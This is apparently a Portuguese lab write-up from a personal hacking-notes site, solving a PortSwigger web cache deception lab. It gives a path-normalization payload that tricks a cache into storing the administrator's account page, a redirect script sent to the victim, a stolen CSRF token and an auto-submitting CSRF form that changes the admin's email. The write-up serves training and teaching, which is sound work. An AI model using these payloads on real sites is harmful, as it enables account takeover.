> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/web-cache-deception/web-cache-deception-with-exact-match-rules.md).

# Engano de Cache Web com Regras de Correspondência Exata

### Explorando regras de cache de correspondência exata para engano de cache da Web

#### Objetivo do Laboratório

* Alterar endereço de e-mail do usuário **administrador**.
* Conexão disponível: **wiener:peter**.
* É fornecida uma lista de delimitadores: lista de delimitadores do laboratório de engano de cache da Web.

<figure><img src="/files/911fa14b897378e236c47eb8e38f0a0a5183b670" alt=""><figcaption></figcaption></figure>

#### Contexto observado

* Em **Minha conta**, há um campo para alterar o e-mail.
* A solicitação enviada parece ser:

```bash
email=test%40test.com&csrf=Bfo2p16Es7RG8W0XBZxAJSuyJKOHbK0a
```

#### Testes de delimitadores

<figure><img src="/files/1168edc48a30c6c1110115789b69233f4b5785b1" alt=""><figcaption></figcaption></figure>

* Ao testar os caracteres da lista, o site aceita, em particular:
* o **ponto e vírgula** `;`
* o **ponto de interrogação** `?`

Ataques clássicos não funcionam neste laboratório.

<figure><img src="/files/5a8ed1ad40ccfb36fb69f0321bc4d0a30dde285f" alt=""><figcaption></figcaption></figure>

#### Descoberta de um Recurso Oculto

* De **Alvo -> mapa do site**, use **Descobrir conteúdo**.

<figure><img src="/files/908d9c54d1896c0d78fd0807d5b7690ae5508dbd" alt=""><figcaption></figcaption></figure>

* Um **arquivo robots.txt** aparece e está \*\*em cache\*\*.

<figure><img src="/files/6b3ec82df13652da818cde79c61e824544bf3f20" alt=""><figcaption></figcaption></figure>

#### Recepção de cache via normalização (caminho exato + desvio)

Objetivo: forçar o cache a armazenar uma resposta sensível fazendo-a parecer um recurso oculto.

Aplicações usadas:

```bash
GET /my-account;/../robots.txt
# Versão codificada
GET /my-account;%2f%2e%2e%2frobots.txt
```

<figure><img src="/files/e1a3245cc866cb09f1fdaf7e1db31c7bc3498ad9" alt=""><figcaption></figcaption></figure>

#### Exploit enviado à vítima

{% code overflow="wrap" %}

```javascript
<script>
    document.location = "https://0a6200c003095773896516fd00d800d3.web-security-academy.net/my-account;%2f%2e%2e%2frobots.txt";
</script>
```

{% endcode %}

Resultado:

* A página retornada corresponde à **conta de administrador**.

<figure><img src="/files/1b96e25710907f4491f4672e709ee32cc7454888" alt=""><figcaption></figcaption></figure>

Na resposta, recuperamos o **token CSRF** do formulário de e-mail, por exemplo:

```html
<input required type="email" name="email" value="">
<input required type="hidden" name="csrf" value="rP2JD7Ik9im0XQi3E4OLwR22dbk6gNr5">
<button class='button' type='submit'> Atualizar e-mail </button>
```

#### Etapa final planejada

* Use este token para gerar um **PoC de CSRF** para enviar uma **POST** solicitação para a **Minha conta** página de alteração de e-mail e, assim, alterar o **administrador** e-mail.

<figure><img src="/files/e146d052aed53955f361caaa7c509e1934044d2b" alt=""><figcaption></figcaption></figure>

```html
<html>
  <!-- PoC de CSRF - gerado pelo Burp Suite Professional -->
  <body>
    <form action="https://0a6200c003095773896516fd00d800d3.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="hacked&#64;test&#46;com" />
      <input type="hidden" name="csrf" value="rP2JD7Ik9im0XQi3E4OLwR22dbk6gNr5" />
      <input type="submit" value="Enviar requisição" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/web/web-cache-deception/web-cache-deception-with-exact-match-rules.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
